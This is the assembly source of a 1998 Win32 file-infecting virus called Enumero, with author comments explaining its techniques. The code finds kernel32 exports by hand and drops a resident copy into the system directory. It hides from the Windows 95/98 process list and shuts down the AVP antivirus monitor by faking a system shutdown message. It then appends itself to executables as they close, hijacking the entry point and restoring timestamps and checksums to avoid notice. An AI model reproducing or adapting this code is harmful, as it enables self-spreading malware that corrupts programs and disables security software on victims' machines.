;
; Enumero, (c)1998 by Virogen[NOP]
; http://virogen.cjb.net
;
; This is a fairly simple virus I whipped up REAL fast outta the
; existing enumiacs source. The only real thing I wanted to accomplish 
; with this virus was full win32 support and demonstration of proper
; PE infection by appending at the end of the last object's virtual
; size, not physical size. 
;
; OS: Win32 (win95/98/NT)
; Hosts: PE (Parastic - append to last object at obj_rva+obj_vsize
;        No date/time change
;        No attribute change
;	 Correct checksum set in header.
;        Physical file size increase varies depending on file alignment
;         and previous padding on last object.
; Characteristics: Memory resident. Infects PEs when they terminate. Note
;                  that the PE must have created a window sometime in
;                  its execution, it doesn't matter if this window
;                  is visible or not. Process hidden from win95/98
;                  process list.
;		   
;
; greetz: lapse,jp,vecna,darkman, and everyone else
;

include mywin.inc

ID_OFF                            equ 0ch    ; offset of our marker in PE
physical_eip                      equ 400h   ; physical eip
host_physical_eip                 equ physical_eip+(offset host_entry-offset vstart)  ; physical eip of host entry set
VIRUS_SIZE                        equ 6656   ; size after vgalign
VIRTUAL_SIZE                      equ 6656

; max module/process names we can queue - keep in mind that each
; is allocated 256 bytes of memory
max_idx equ 300

.386
locals
jumps
.model flat,STDCALL
;
; our imported APIs for spawned virus - the spawned virus doesn't have to
; worry with manual importing nor delta offsets of course.
;
extrn ExitProcess:PROC
extrn EnumWindows:PROC
extrn SetPriorityClass:PROC
extrn GetCurrentProcess:PROC
extrn CloseHandle:PROC
extrn ReadFile:PROC
extrn WriteFile:PROC
extrn SetFilePointer:PROC
extrn GetModuleHandleA:PROC
extrn MapViewOfFile:PROC
extrn CreateFileMappingA:PROC
extrn UnmapViewOfFile:PROC
extrn SetEndOfFile:PROC
extrn SetFilePointer:PROC
extrn GetFileAttributesA:PROC
extrn SetFileAttributesA:PROC
extrn GetFileSize:PROC
extrn GetTickCount:PROC
extrn GetFileSize:PROC
extrn GetFileTime:PROC
extrn SetFileTime:PROC
extrn GetProcAddress:PROC
extrn CheckSumMappedFile:PROC
extrn PeekMessageA:PROC
extrn Sleep:PROC
extrn CopyFileA:PROC
extrn FindWindowA:PROC
extrn GetWindowThreadProcessId:PROC
extrn OpenProcess:PROC
extrn PostMessageA:PROC
extrn GetModuleFileNameA:PROC
extrn LoadLibraryA:PROC
extrn FreeLibrary:PROC
extrn IsBadReadPtr:PROC
	
org 0  
.data           
db '� [Enumero] by Virogen [NOP] �'               ; it's i said the fly
.code
vstart:    
    call geteip                               ; find relative offset
geteip:
    mov 	ebp,[esp]                             ; grab it off stack
    mov 	eax,ebp                               ; used below
    sub 	ebp,offset geteip                     ; fix it up
    add 	esp,4                                 ; fix da stack

; first, let's find kernel base. If this is a parastic portion of virus
; executing, we'll need to obtain a few APIs in order to spawn the virus.
; Here we get a pointer to the kernel from the stack (a return address).
; Then we scan down until we find the kernel base. 
;
; We encapsulate this with an SEH handler, in case something goes bad wrong
; we simply immediatly jump to the host (if this is a parastic copy of the
; virus).
;    			    
       call 	set_seh                	   ; setup SEH frame    
;-- error handler    
       mov 	esp,[esp+8]                      
       pushad
       pushfd
       call 	geteip3
geteip3:    
       pop 	ebp
       sub 	ebp,offset geteip3
       jmp 	seh_exit  	
;-- end error handler
set_seh: 
       push 	dword ptr fs:[0]                ; save old exception ptr
       mov 	fs:[0],esp   		         ; set ptr to our exception handler    
       mov 	edx,[esp+8]                      ; determine OS
    
find_base_loop:
       cmp 	dword ptr [edx+0b4h],edx              ; if we're at base, then
       jz 	good_os                                ; offset 0b4h contains kernel
       dec 	edx                                   ; base
       jmp 	find_base_loop

good_os:
       mov 	[ebp+kernelbase],edx                   ; save kernel base

       pushad
       pushfd
;
; this is my API importer from lorez, imports APIs from the kernel32.dll
; export table in memory. Someday I will recode this in a more efficient 
; fashion, but I am too lazy today.
;
; a brief explanation of the organization of the export table would be
; useful here. Ok, basically there are three tables within the export
; table : API RVA Table (32bit), Name Pointer Table(32bit), and Ordinal
; Table (16bit). Ok, the ordinal number of an API is the entry number of
; the API in the RVA array. So, multiply the ordinal number by four and
; you've got an index into the API RVA Table. Probably you don't already
; have the ordinal number though, so you'll have to find it. To do this,
; you use the Name Pointer Table. This is an array of pointers to the
; asciiz name of each API. When you find the pointer of the API you're
; looking for by string compares, you take the index number of it and
; multiply it by 2 (because the ordinal table is 16bit). Index the result
; in the ordinal table, and you're all set.
;
;
       mov 	esi,edx
       add 	esi,[esi+3ch]                         ; relative ptr to PE header
       cmp 	word ptr [esi],'EP'                   ; make sure we're on right track
       jnz 	goto_host                             ; if not.. abort
       mov 	esi,[esi+120]                         ; get export table RVA
       add 	esi,edx                               ; relative to image base
       mov 	edi,[esi+36]                          ; get ordinal table RVA
       add 	edi,edx                               ; relative to image base
       mov 	[ebp+ordinaltbl],edi                  ; save it
       mov 	edi,[esi+32]                          ; get name ptr RVA
       add 	edi,edx                               ; is relative to image base  
       mov 	[ebp+nameptrtbl],edi                  ; save it
       mov 	ecx,[esi+24]                          ; get number of name ptrs
       mov 	esi,[esi+28]                          ; get address table RVA
       add 	esi,edx                               ; is relative to image base
       mov 	[ebp+adrtbl],esi                      ; save it

       xor 	edx,edx                               ; edx is our ordinal counter
					      ; edi=name ptr table
					      ; ecx=number of name ptrs
       lea 	esi,[ebp+APIs]                        ; -> API Name ptrs
       mov 	[ebp+ourAPIptr],esi                   ; save it
       lea 	eax,[ebp+API_Struct]                  ; our API address will go here
       mov 	[ebp+curAPIptr],eax                   ; save it
chk_next_API_name:
       mov 	esi,[ebp+ourAPIptr]                   ; get ptr to structure item
       mov 	ebx,[esi]                             ; load ptr to our API name
       add 	ebx,ebp                               ; add relative address
       mov 	esi,[edi]                             ; get API name RVA
       add 	esi,[ebp+kernelbase]                  ; relative to image base
compare_API_name:
       lodsb    
       cmp 	al,byte ptr [ebx]                     ; compare a byte of names
       jnz 	not_our_API                           ; it's not our API
       cmp 	al,0                                  ; end of string?
       jz 		is_our_API                             ; it's our API
       inc 	ebx
       jmp 	compare_API_name

not_our_API:
       inc 	edx                                   ; increment API counter
       cmp 	edx,ecx                               ; last entry of name ptr table?
       jz 	goto_host                              ; uhoh.. we didn't find one
					      ; of our APIs.. abort it all
       add 	edi,4                                 ; increment export name ptr idx
       mov 	esi,[ebp+ourAPIptr]                   ; restore our API name ptr struct
       jmp 	chk_next_API_name

is_our_API:

       mov	edi,[ebp+ordinaltbl]                  ; load oridinal table RVA
       push 	ecx
       push 	edx
       xchg 	edx,eax                              ; edx=API number
       add 	eax,eax                               ; *2 cuz ordinals are words
       add 	edi,eax                               ; add to ordinal table VA
       mov 	ax,[edi]                              ; get ordinal (word)
       xor 	edx,edx
       mov 	ecx,4
       mul 	ecx                                   ; *4 cuz address tbl is dd's
       mov 	edi,[ebp+adrtbl]                      ; load address table VA
       add 	edi,eax                               ; set idx to API
       mov 	eax,edi                                 
       sub 	eax,[ebp+kernelbase]                   ; get the VA of the entry
       mov 	[ebp+originalRVAptr],eax              ; save it for kernel infection
					      ; notice that our last API
					      ; in the array is the one we
					      ; hook
       mov 	eax,[edi]                             ; get API RVA
       mov 	[ebp+originalRVA],eax                 ; save it for kernel infection
       add 	eax,[ebp+kernelbase]                  ; is relative to image base
       mov 	edi,[ebp+curAPIptr]                   ; idx to storage stucture
       mov 	[edi],eax                             ; save VA of API
       add 	edi,4                                 ; increment index
       mov 	[ebp+curAPIptr],edi                   ; save    

       pop 	edx
       pop 	ecx

       mov 	edi,[ebp+nameptrtbl]                  ; reset export name ptr tableidx
       mov 	esi,[ebp+ourAPIptr]                   ; restore idx to our name ptrs
       add 	esi,4                                 ; increment idx API name ptr structure
       mov 	[ebp+ourAPIptr],esi                   ; save our new ptr to name ptr
       cmp 	dword ptr [esi],0                     ; end of our API structure?
       jz	found_all                              ; if so then we got 'em all
       mov 	edi,[ebp+nameptrtbl]                  ; reset idx to export name pt
       xor 	edx,edx                               ; reset API counter
       jmp 	chk_next_API_name    

;
; now we've imported all our needed APIs to spawn the virus and execute.
; First we check to see if this is spawned or parastic copy by checking
; delta offset.
;
found_all:	
       or 	ebp,ebp                                ; spawned file or 1st gen?
       jz	spawned_func
;
; if parastic copy of virus, then spawn virus and execute it.
;
	push 	275
	push 	64                                ; allocate memory for spawn
	call 	[ebp+GlobalAllocAPI]              ; path and filename
	or 	eax,eax                             
	jz 	goto_host

	xor 	ecx,ecx
	call 	GetVirusPathFile

	mov 	[ebp+spawnfile],eax                  ; eax->sysdir/spawnfilename buffer        
	push 	eax                                 ; save it fer later

	push 	eax                              
	call 	[ebp+DeleteFileAPI]                  ; attempt to delete 

;
; now we spawn a copy of the virus. If there is an error creating the
; spawn file, then that means it is probably shared and therefore already
; in memory.
;
	pop 	esi                                   ; esi->spawn filename
	call 	Create                               ; CreateFile
	cmp 	eax,-1                      ; if error, then we're already in mem
	jz 	dealloc_goto_host                    
	push 	eax                        ; save handle
	mov 	ecx,VIRUS_SIZE
	mov 	esi,ebp
	add 	esi,offset vstart-physical_eip
	call 	Write                      ; write our virus
	call 	[ebp+CloseFileAPI]         ; handle still on stack
	
	lea 	eax,[ebp+sinfo]             ; overwrite some other unused vars
	push 	eax                        
	call 	[ebp+GetStartupInfoAPI]    ; get startup info of process

	lea 	eax,[ebp+pinfo]             ; storage for process info
	push 	eax
	lea 	eax,[ebp+sinfo]             ; startup info
	push 	eax
	push 	0                        
	push 	0                        
	push 	67108928h                  ; CREATE_DEFAULT_ERROR_MODE|IDLE 
	push 	0
	push 	0
	push 	0
	push 	0
	mov 	esi,[ebp+spawnfile]        ; esi->spawn sysdir/file
	push 	esi
	call 	[ebp+CreateProcessAPI]    ; create our viral process

	mov 	eax,[ebp+hprocess]
	push 	eax
	call 	[ebp+CloseHandleAPI]      ; close handle of our process  

dealloc_goto_host:
	mov 	eax,[ebp+spawnfile]
	push 	eax
	call 	[ebp+GlobalFreeAPI]
goto_host:
seh_exit:   
   
   	or 	ebp,ebp                               ; if spanwed
   	jz 	_exit
   
;
; Here we calculate the image base, in case this executable was loaded at a base other
; than the one specified in the PE header.
;

   	call 	get_ib_displacement                     
get_ib_displacement:            
   	mov 	ebx,newep[ebp]          
   	add 	ebx,(offset get_ib_displacement-offset vstart)
   	pop 	eax                     
   	sub 	eax,ebx  	                ; eax=image base             
   	add 	host_entry[ebp],eax        	; add image base to host entry rva   
   
	popfd
	popad
 	pop dword ptr fs:[0]                   ; restore original SEH frame
   	pop edx                                ; fixup stack 

   	jmp [ebp+host_entry]                        ; jmp to host entry VA                                
host_entry dd offset vstart                    ; store host entry here
newep dd 0

; spawned virus code - we can throw away delta offsets now. This is
; the portion of the virus that stays resident.
;
spawned_func:
	popfd
   	popad
   	pop 	dword ptr fs:[0]                   ; restore original SEH frame
   	pop 	edx                                ; fixup stack 
	xor 	ebp,ebp                             ; no delta offset
;
; first call PeekMessage so that the hourglass icon isn't displayed until
; timeout
;      
	push 	0
	push 	1
	push 	0
	push 	0
	push 	offset msgstruct
        call 	PeekMessageA

;
; here we try to get the address of RegisterServiceProcess, which will
; allow us to register as a service process under win95/98, therefore
; hiding us from the ctrl-alt-del process list. This API not available
; under WinNT, so we import it manually to make sure that it exists, we
; don't need any ivalid ordinal numbers on spawned virus loadup.
;
; While we're at it, we'll also attempt to import the address of our
; GetWindowModuleFileNameA from USER32.DLL. If this API doesn't exist,
; which it is a fairly new API, then we just pass control to the host.
;
;
       push 	offset user32
       call 	GetModuleHandleA            ; get handle of user32.dll
       or 	eax,eax
       jz 	_exit                         ; it should have been loaded
       push 	offset GetWindowModuleFileName
       push 	eax
       call 	GetProcAddress
       or 	eax,eax                       ; if we don't have this API, then 
       jz 	_exit                         ; we must be in old NT or 95 crap
       mov 	GetWindowModuleFileNameA,eax
       push 	offset kernel32
       call 	GetModuleHandleA
       or 	eax,eax
       jz 	_exit                         ; something bad wrong if this
       push 	offset RegisterService
       push 	eax
       call 	GetProcAddress              ; get rsp address
       or 	eax,eax                       
       jz 	isNT                          ; if not found, then NT system
       push 	1                           ; 1=register process
       push 	0                           ; null=current process
       call 	eax                         ; RegisterServiceProcess
       jmp 	is9598
;
; Under WinNT we'll make use of PSAPI.DLL functionz to retrieve module filenames.
; We'll grab the address of GetModuleFileNameEx and EnumProcessModules
; 

isNT:              	
       push 	offset psapi
       call 	LoadLibraryA
       or 	eax,eax
       jz 	is9598
       mov 	phandle,eax
       push 	offset EnumPModules
       push 	eax
       call 	GetProcAddress
       mov 	EnumProcessModules,eax
       or 	eax,eax
       jz 	unload_psapi       
       push 	offset GetMFileName
       push 	phandle
       call 	GetProcAddress
       mov 	GetModuleFileNameEx,eax
       or 	eax,eax
       jz 	unload_psapi       
       jmp 	is9598
unload_psapi:       
       push 	phandle
       call 	FreeLibrary
is9598:
;
; get rid of AVP Monitor by simulating a system shutdown, sending WM_ENDSESSION to
; its window
;
;
       push 	offset avp_wndname          ; AVP window name
       push 	0                           ; class name
       call 	FindWindowA                 ; Find AVP
       or 	eax,eax                       ; get handle?
       jz 	no_avp                        ; if not, then abort

       push 	0				; no lparam
       push 	0				; or wparam
       push 	WM_ENDSESSION		; WM_ENDSESSION generated at system shutdown
       push 	eax				; handle to window
       call 	PostMessageA		; Post the message

no_avp:
;
; allocate memory for, and load our virus for later infection
;
       push 	280
       push 	64
       call 	[GlobalAllocAPI]	; allocate memory for del buf
       or 	eax,eax
       jz 	_exit
       mov 	del_buf,eax
       push 	VIRUS_SIZE
       push 	64
       call 	[GlobalAllocAPI]
       or 	eax,eax
       jz 	_exit
       mov 	virus_mem,eax
       xor 	ecx,ecx                      ; return exe filename
       call 	GetVirusPathFile
       add 	eax,280
       inc 	ecx                          ; ecx!=0 get temp filename
       call 	GetVirusPathFile
       push 	eax                         ; save for below
       push 	0
       push 	eax
       sub 	eax,280
       push 	eax
       call 	CopyFileA
       pop 	esi                          ; esi->tmp filename
       call 	OpenRead
       cmp 	eax,-1
       jz 	dealloc_exit
       mov 	esi,virus_mem
       mov 	ecx,VIRUS_SIZE
       push 	eax                         ; save handle for close
       call 	Read
       cmp 	bytesread,VIRUS_SIZE
       jnz 	dealloc_exit
       call 	CloseHandle                 ; handle still on stack
       mov 	eax,del_buf
       inc 	ecx                          ; retrieve temp filename
       call 	GetVirusPathFile            ; get temp filename again
       push 	eax
       Call 	[DeleteFileAPI]             ; delete temp file
       jmp 	continue_spawned
dealloc_exit:
       push 	del_buf
       call 	[GlobalFreeAPI]
       push	virus_mem
       call 	[GlobalFreeAPI]             ; handle to mem still on stack      
       jmp 	_exit     
;
; now we need to allocate memory for our array
;
continue_spawned:
       push 	256*max_idx+1
       push 	64                          ; GPTR - fixed, zero init
       call 	[GlobalAllocAPI]            ; allocate memory for our array
       or 	eax,eax                       ; error allocating? exit
       jz 	dealloc_exit
       mov 	pnames,eax
       push 	1000h
       push 	64                           ; allocate memory for modules enumeration
       call 	[ebp+GlobalAllocAPI]         ;       
       or 	eax,eax
       jz 	dealloc_exit
       mov 	mod_array,eax
       
       call 	GetCurrentProcess           ; get current process handle
       push 	64                          ; idle priority class  
       push 	eax                         ; handle of current process
       call 	SetPriorityClass            ; set priority to idle

       mov 	testnums,0                   ; enumerate and load
       call 	InstallEnum                 ; first enumeration
;
; This is our memory resident loop. What this does is every 1 second
; check the number of windows open by re-enumerating them. If this number
; differs from the last # of open windows, then we go and try to infect
; all the queued processes, in hopes that one has closed and is suitable
; for infection. We try to infect the queued processes about 10 times with
; a quarter second delay between each, or until we at least can open one of
; the files, this is just in case the window was closed but we still need
; to give the process time to terminate.
;
main_loop:
       push 	500                         ; 1/2 second sleep 
       call 	Sleep                       ; suspend process for 1/2 second

       mov 	testnums,1                   ; just check number of windows
       call 	InstallEnum                 ; get number of windows
       mov 	eax,totalwnd                 ; get total windows from last en&l
       cmp 	testednums,eax               
       jz 	main_loop                     ; if equal keep enumerating

       mov 	icnt,0                       ; we want to keep trying to infect
do_i:
       call 	Infect                      ; infect if different # of windows open
       cmp 	re_enum,0                    
       jnz 	over_i                       ; if infected a file, then abort
       push 	250                         ; 1/4 second 
       call 	Sleep                       ; suspend process for 1/4 second
       inc 	icnt                         ; increment counter
       cmp 	icnt,10                      ; we'll try 10 times
       jnz 	do_i                         
over_i:
       mov 	testnums,0                   ; enumerate and load windows
       call 	InstallEnum                 
       jmp 	main_loop                    ; we'll want something else here..
					; may eat up too much cpu time
					; some waitforsingleobject variation
_exit:
       push 	0
       call 	ExitProcess
;
; This procedure enumerates the windows using EnumWindows. See
; EnumWindowsProcedure below, which is called for each window found.
;
InstallEnum       proc
       cmp 	testnums,1
       jz 	jdoit
       mov 	totalwnd,0                  
       mov 	totalexe,0
       mov 	eax,pnames
       mov 	curpos,eax
jdoit:
       mov 	testednums,0
       push 	9090h
       push 	offset EnumWindowsProc             
       call 	EnumWindows                 ; set up window enumeration
       ret
		
InstallEnum       endp

;
; EnumWindowsProc - this procedure is called for every window found.
; 
;
EnumWindowsProc          proc uses ebx edi esi, hwnd:DWORD, lparam:DWORD		
	cmp 	testnums,1         ; only testing num of windows?
	jz 	enum_only           ; if so just increment counter
	cmp 	totalexe,max_idx   ; filled our array?
	jge 	not_exe            ; if so just increment counter
        mov 	eax,GetWindowModuleFileNameA
        or 	eax,eax
        jz 	is_old_win
        push 	255               ; maximum size of path&filename + null
        push 	curpos            ; pointer to current member of array
        push 	hwnd              ; handle of window
        call 	eax	       ; get associated module filename	
	or 	eax,eax             ; error - must be NT
	jnz 	got_fname_ok		
is_old_win:
; this is NT specific code
; If we couldn't 
	cmp 	EnumProcessModules,0	; make sure we got api va
	jz 	bad_abort
	cmp 	GetModuleFileNameEx,0	; make sure we got api va
	jz 	bad_abort
	push 	offset pid		
	push 	hwnd
	call 	GetWindowThreadProcessId ; get process id 
	push 	pid
	push 	0
	push 	PROCESS_ALL_ACCESS
	call 	OpenProcess		 ; open da process
	mov 	phandle,eax
	or 	eax,eax
	jz 	bad_abort				
	push 	offset bytesread
	push 	1000h
	push 	mod_array
	push 	phandle
	call 	[EnumProcessModules]	; enumerate process modules
	mov 	esi,mod_array
getmodloop:			
	lodsd		
	or 	eax,eax
	jz 	abortmodloop
	push 	255               ; maximum size of path&filename + null
	push 	curpos            ; pointer to current member of array
	push 	eax
	push 	phandle
        call 	[GetModuleFileNameEx] ; get associated module filename
        call 	testexe
        jc 	getmodloop	   ; if not exe then keep scanning
abortmodloop:
	push 	eax
	push 	phandle
        call 	CloseHandle 
        pop 	eax        
got_fname_ok:       
	call 	testexe
	jc 	not_exe            ; if not, then don't add to pointer
	add 	curpos,256         ; increment pointer to next member of array
	inc 	totalexe           ; increment total #s of EXEs found        
not_exe:     
	inc 	totalwnd           ; increment total number of window
bad_abort:
	ret
enum_only:
	inc 	testednums
	ret
EnumWindowsProc endp

;
; here we search the saved process filenames and try to infect each one
;
Infect proc				
	mov 	esi,pnames                  ; pointer to allocated array
	sub 	esi,256                     ; member -1, will make 0 in loop
	mov 	curidx,-1                   ; will increment to 0
	mov 	re_enum,0                   ; if we infected flag
 iloop:
	inc 	curidx                      ; increment current member of array
	add 	esi,256                     ; increment index into array
	mov 	eax,totalexe                ; get total EXEs we found in enumer
	cmp 	curidx,eax                  ; we exceeded that amount?
	jg 	abloop                       ; if so we're done
	push 	esi                        ; esi->array member (filename); save
	call 	OpenFile                   ; try and open it
	pop 	esi                         ; restore ptr to filename
	cmp 	eax,-1                      ; error opening file?
	jz 	iloop                        ; if so skip to next member of array
	mov 	fnameptr,esi                ; else save the filename pointer
	push 	eax                        ; eax=handle of file
	call 	CloseHandle                ; close the file
	push 	esi
	call 	InfectFile                ; infect the file
	pop 	esi
	mov 	re_enum,1                   ; set successful infectin flag
	jmp 	iloop                       ; continue trying to infect
abloop:
	ret
Infect endp

testexe proc		
	or 	eax,eax
	jz 	return_stc 
	mov 	ecx,eax            ; ecx=size of path&filename of module
	add 	ecx,curpos         ; set up pointer to end of path&filename
	sub 	ecx,3              ; extension starts here
	cmp 	word ptr [ecx],'XE' ; make sure it's EXE
	jz 	return_clc
	cmp 	word ptr [ecx],'xe'
	jz 	return_clc	
return_stc:
	stc 
	ret
return_clc:	
	clc 
	ret	
testexe endp	

; return pointer to virus path and filename
; entry: eax->buffer
;        ecx=0 if exe file, 1 if tmp file
; return: eax->buffer
GetVirusPathFile proc

	push 	eax
	push 	ecx
	push 	eax

	push 	260                                  ; max path size
	push 	eax                                  ; ptr
	call 	[ebp+GetSysDirAPI]                   ; get sys directory

	pop 	edi                                   ; edi->sys directory
	add 	edi,eax                               ; edi->end of dir
	pop 	ecx
	or 	ecx,ecx
	jnz 	tmpname
	lea 	esi,[ebp+virusname]                   ; esi->spawn filename
	jmp 	append
tmpname:
	lea 	esi,[ebp+tempname]
append:
	call 	copy_str                             ; append to sys dir
	pop 	eax
	ret

GetVirusPathFile endp


OpenRead:
      	mov 	ecx,3
      	mov 	ebx,80000000h
      	jmp 	or
Create:
      	mov 	ecx,1
      	jmp 	of
OpenFile proc
	mov 	ecx,3
of:
      	mov 	ebx,0c0000000h
or:
      	push 	0
      	push 	20h                          ; attribute normal
      	push 	ecx                          ; 3=open existing file
      	push 	0
      	push 	0
      	push 	ebx                          ; permissions
      	push 	esi
      	call 	[ebp+CreateFileAPI]
      	ret
OpenFile endp

Read proc
      	push 	0
      	push 	offset bytesread
      	push 	ecx
      	push 	esi
      	push 	eax
      	call 	ReadFile
      	ret
Read endp

Write proc
      	push 	0
      	lea 	ebx,[ebp+bytesread]
      	push	ebx
      	push 	ecx
      	push 	esi
      	push 	eax
      	call 	[ebp+WriteFileAPI]
      	ret
Write endp


;-----------------------------------------------
; infect file - call with fnameptr set
;
; As you can see, we append to the last object at RVA+virtual size
; and then set physical size to file_align(obj_virtual_size+
; virus_physical_size). In this way, we take advantage of any padded
; space in the last object therefore decreasing the physical size
; increase of the host.
;
; It is my contention, that since the virtual size usually represents
; the true unaligned physical size, appending should always occur
; at the end of the virtual size and then the physical size should
; be aligned to the new virtual size. 
;
;
InfectFile proc
    
	mov 	eax,fnameptr
    	push 	eax
    	call 	GetFileAttributesA                  ; get file attributes
    	mov 	oldattrib,eax

    	cmp 	eax,-1                               ; if error then maybe shared
    	jnz 	not_shared
    	ret                                      ; can't infect it    

not_shared:
    	push 	20h                                 ; +A
    	mov 	eax,fnameptr
    	push 	eax
    	call 	SetFileAttributesA                  ; clear 'da attribs
	
    	mov 	esi,fnameptr
    	call 	OpenFile
    	cmp 	eax,-1
    	jnz 	open_ok
    	ret         
open_ok:    
    	mov 	handle,eax

	push 	offset creation
    	push 	offset lastaccess
    	push 	offset lastwrite
    	push 	eax
    	call 	GetFileTime                       ; grab the file time

	xor 	ecx,ecx                               ; only map size of file
    	call 	create_mapping                       ; create file mapping 
    	jc 	abort_infect
					      ; eax->mapped file
    	cmp 	word ptr [eax],'ZM'                   ; is EXE?
    	jnz 	abort_infect

    	call 	GetPEHeader                          ; load esi->PE Header

	push 	2                                                                   
    	push 	esi                                    ; test ptr for read acces 
    	call 	IsBadReadPtr                           ; was ptr any good?       
    	or 	eax,eax                                                             
    	jnz 	abort_infect                                                       

	cmp 	word ptr [esi],'EP'                    ; PE?
    	jnz 	abort_infect

	cmp 	dword ptr [esi+ID_OFF],0               ; any value here?
    	jnz 	abort_infect                           ; if yes, infected

	call 	unmap                                 ; unmap file

    	mov 	ecx,VIRUS_SIZE+1000h                   ; add max virus size to map size
    	call 	create_mapping                        ; map file again
    	jc 	abort_infect

	call 	GetPEHeader                           ; load esi -> pe header

    	call 	GetTickCount                          ; get tick count
    	mov 	dword ptr [esi+ID_OFF],eax             ; save as infect flag

	xor 	eax,eax
    	mov 	ax, word ptr [esi+NtHeaderSize]        ; get header size
    	add 	eax,18h                                ; object table is here     

    	mov 	edi,esi
    	add 	edi,eax                                 ; edi->object table    
    	xor 	eax,eax                        
    	mov 	ax,[esi+numObj]                         ; get number of objects
    	dec 	eax                                     ; we want last object
    	mov 	ecx,40                                  ; each object 40 bytes
    	xor 	edx,edx
    	mul 	ecx                                     ; numObj-1*40=last object     
    	add 	edi,eax                                 ; edi->last obj

    	mov 	eax,[edi+objpoff]                       ; get last object physical off
    	mov 	lastobjimageoff,eax                     ; save it

    	mov 	ecx,[edi+objpsize]                      ; get physical size of object                
    	mov 	eax,[edi+objvsize]                      ; get object virtual size        	
    	push 	eax					; save virtual size
    	push    ecx					; save original p size
    	mov 	originalvsize,eax                       ; save it 4 later
    	add 	eax,VIRTUAL_SIZE                        ; add our virtual size    
    	mov 	dword ptr [edi+objvsize],eax            ; save new virtual size    
    	mov	ecx,[esi+filealign]			; physical size=filealign(vsize)
    	call 	align_fix				; align new vsize to be psize
    	mov 	[edi+objpsize],eax			; save new physical size
    	mov     newpsize,eax				; store it for exe size calc
    	push 	eax					

    	mov 	ecx,dword ptr [esi+objalign]            ; get object alignment
    	mov 	eax,dword ptr [edi+objvsize]            ; add virtual size
    	add 	eax,dword ptr [edi+objrva]              ; +last object rva
    	call 	align_fix                               ; set on obj alignment
    	mov 	dword ptr [esi+imagesize],eax           ; save new imagesize  

    	mov 	[edi+objflags],0E0000060h               ; set object flags r/w/x
    	
    	pop 	ecx					; restore new phsyical size
    	pop	eax					; original psize
    	sub 	ecx,eax
    	mov 	diffpsize,ecx
    
    	pop 	eax                                     ; restore orginal virtual size
    	add 	eax,[edi+objrva]                        ; add last object's RVA 
							; eax now RVA of virus code
    	add 	eax,physical_eip                        ; add physical eip:    
    	mov 	ebx,[esi+entrypointRVA]                 ; get original entry        
    	mov 	[esi+entrypointRVA],eax                 ; put our RVA as entry
    
    	mov 	ecx,[ebp+virus_mem]
    	add 	ecx,host_physical_eip
    	mov 	[ecx],ebx                         	; save host e RVA
    	add 	ecx,4
    	mov 	[ecx],eax			    	; save virus e RVA
;
    	push 	esi
            
    	mov 	edi,map_ptr
    	add 	edi,originalvsize                  	; restore original virtual size
    	add 	edi,lastobjimageoff                	; add object physical offset
    							; edi->physical end of object
    	mov 	esi,virus_mem                      	; esi->virus
    	mov 	ecx,VIRUS_SIZE    	
    	rep 	movsb				        ; copy virus to host    	    	
    	
    	pop 	esi
    	mov 	ecx,lastobjimageoff
    	add 	ecx,newpsize
    	mov 	fsize,ecx                               ; store new filesize
	push 	ecx                                     ; ecx=real file size

    	call 	unmap                                   ; unmap file

    	pop 	ecx
    	push 	FILE_BEGIN                              ; from file begin
    	push 	0                                       ; distance high
    	push 	ecx                                     ; distance low
    	push 	handle
    	call	SetFilePointer                      	; move file pointer to
						 	; real EOF
    	push 	handle
    	call 	SetEndOfFile		                ; set end of file
;
; now we need to calculate checksum. We need to remap the file to get it
; right after file size change. I might be wrong about this, there could
; have been a bug in my code, but it seems resonable.
;
    	xor 	ecx,ecx
    	call 	create_mapping
    	jc 	unmapped
    	mov 	esi,[eax+3ch]                            
    	add 	esi,eax                                  ; esi->pe header
    	lea 	eax,[esi+checksum]
    	push 	eax                     	         ; destination of checksum in hdr
    	push 	offset oldchksum
    	push 	fsize                           	 ; new file size
    	mov 	eax,map_ptr
    	push 	eax
    	call 	CheckSumMappedFile
    	call 	unmap

	jmp 	unmapped                                

abort_infect:
    	call 	unmap         			          ;unmap if aborted infection
unmapped:

    	push 	offset creation
    	push 	offset lastaccess
    	push 	offset lastwrite
    	push 	handle
    	call 	SetFileTime              		; restore orginal file time

    	push 	handle
    	call 	CloseHandle

    	mov 	eax,oldattrib  		                ; get original attribs 
    	push 	eax
    	mov 	eax,fnameptr
    	push 	eax                    
    	call 	SetFileAttributesA	                 ; restore the original attributes

	ret                                 
InfectFile endp

GetPEHeader proc
    	mov 	esi,[eax+3Ch]                        ; where PE hdr pointer is
    	add 	esi,eax    
    	ret
GetPEHeader endp

; create_mapping - create file mapping of [handle]
; entry: ecx=mapping size
;
create_mapping proc
    	push 	ecx                    ; save mapping size

    	push 	0                      ; high fsize storage, not needed
    	push 	handle                 ; file handle
    	call 	GetFileSize
    	call 	test_error
    	jc 	create_abort
    	mov 	fsize,eax

    	pop 	ecx                     ; restore map size

    	push 	0              ; no map name
    	add 	eax,ecx
    	push 	eax            ; low size+vs  
    	push 	0              ; high size
    	push 	PAGE_READWRITE ; read&write
    	push 	0     
    	push 	handle
    	call 	CreateFileMappingA
    	call 	test_error
    	jc 	create_abort
    	mov 	maphandle,eax
	
    	push 	0               ; # of bytes, 0= map entire file
    	push 	0               ; file offset low
    	push 	0               ; file offset high
    	push 	FILE_MAP_WRITE  ; access flags - read&write
    	push 	eax             ; handle
    	call 	MapViewOfFile
    	call 	test_error
    	jc 	create_abort
    	mov 	map_ptr,eax
	    
create_abort:
    	ret
create_mapping endp


; test_error - test API for an error return
;  entry: eax=API return
;  returns: carry if error
;
test_error proc
   	cmp 	eax,-1
   	jz 	api_err
   	or 	eax,eax
   	jz 	api_err
   	clc
   	ret
api_err:
   	stc
   	ret
test_error endp

;--------------------------------------------------------------
; unmap file - Unmap view of file
; 
unmap:
  
    	push 	map_ptr
    	call 	UnmapViewOfFile
    	push 	maphandle
    	call 	CloseHandle
    	ret

;--------------------------------------------------------------
; sets eax on alignment of ecx
;
align_fix:
     	xor 	edx,edx
     	div 	ecx                               ; /alignment
     	or 	edx,edx				   ; check for remainder
     	jz 	no_inc
     	inc	eax                               ; next alignment
no_inc:     
	mul 	ecx                               ; *alignment                             
     	ret

;-------------------------------------------------------------
; copy string
; pass edi->destination esi->source
; we could use lstrcat for this purpose, but oh well
; 

copy_str:
    	mov 	ecx,0FFh                              ; no bigger than 256
copystr:
    	lodsb
    	stosb
    	cmp 	al,0
    	jz 	copystrdone
    	loop 	copystr
copystrdone:
    	ret

APIs:                                  ; structure of ptrs to our API names
dd offset CreateFile
dd offset CloseHandleS
dd offset WriteFileS
dd offset CloseFile
dd offset GetSysDir
dd offset DeleteFile
dd offset CreateProc
dd offset GetStartUp
dd offset GlobalAlloc
